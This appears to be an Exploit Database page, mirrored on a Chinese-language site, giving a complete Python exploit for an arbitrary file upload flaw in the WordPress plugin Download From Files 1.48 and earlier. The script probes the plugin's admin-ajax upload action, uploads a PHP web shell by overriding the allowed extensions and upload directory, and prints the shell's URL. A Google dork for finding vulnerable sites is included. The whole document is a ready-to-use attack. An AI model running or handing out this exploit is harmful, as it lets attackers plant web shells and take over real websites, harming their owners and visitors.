WordPress Plugin Download From Files 1.48 – Arbitrary File Upload

• Exploit Database
• 12 阅读

• 作者： spacehen
  日期： 2021-09-13
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/50287/

• # Exploit Title: WordPress Plugin Download From Files 1.48 - Arbitrary File Upload
  # Google Dork: inurl:/wp-content/plugins/download-from-files
  # Date: 10/09/2021
  # Exploit Author: spacehen
  # Vendor Homepage: https://wordpress.org/plugins/download-from-files/
  # Version: <= 1.48
  # Tested on: Ubuntu 20.04.1 LTS (x86)
  
  import os.path
  from os import path
  import json
  import requests;
  import sys
  
  def print_banner():
  	print("Download From Files <= 1.48 - Arbitrary File Upload")
  	print("Author -> spacehen (www.github.com/spacehen)")
  
  def print_usage():
  	print("Usage: python3 exploit.py [target url] [php file]")
  	print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")
  
  def vuln_check(uri):
  	response = requests.get(uri)
  	raw = response.text
  
  	if ("Sikeres" in raw):
  		return True;
  	else:
  		return False;
  
  def main():
  
  	print_banner()
  	if(len(sys.argv) != 3):
  		print_usage();
  		sys.exit(1);
  
  	base = sys.argv[1]
  	file_path = sys.argv[2]
  
  	ajax_action = 'download_from_files_617_fileupload'
  	admin = '/wp-admin/admin-ajax.php';
  
  	uri = base + admin + '?action=' + ajax_action ;
  	check = vuln_check(uri);
  
  	if(check == False):
  		print("(*) Target not vulnerable!");
  		sys.exit(1)
  
  	if( path.isfile(file_path) == False):
  		print("(*) Invalid file!")
  		sys.exit(1)
  
  	files = {'files[]' : open(file_path)}
  	data = {
  	"allowExt" : "php4,phtml",
  	"filesName" : "files",
  "maxSize" : "1000",
  "uploadDir" : "."
  	}
  	print("Uploading Shell...");
  	response = requests.post(uri, files=files, data=data )
  	file_name = path.basename(file_path)
  	if("ok" in response.text):
  		print("Shell Uploaded!")
  		if(base[-1] != '/'):
  			base += '/'
  		print(base + "wp-admin/" + file_name);
  	else:
  		print("Shell Upload Failed")
  		sys.exit(1)
  
  main();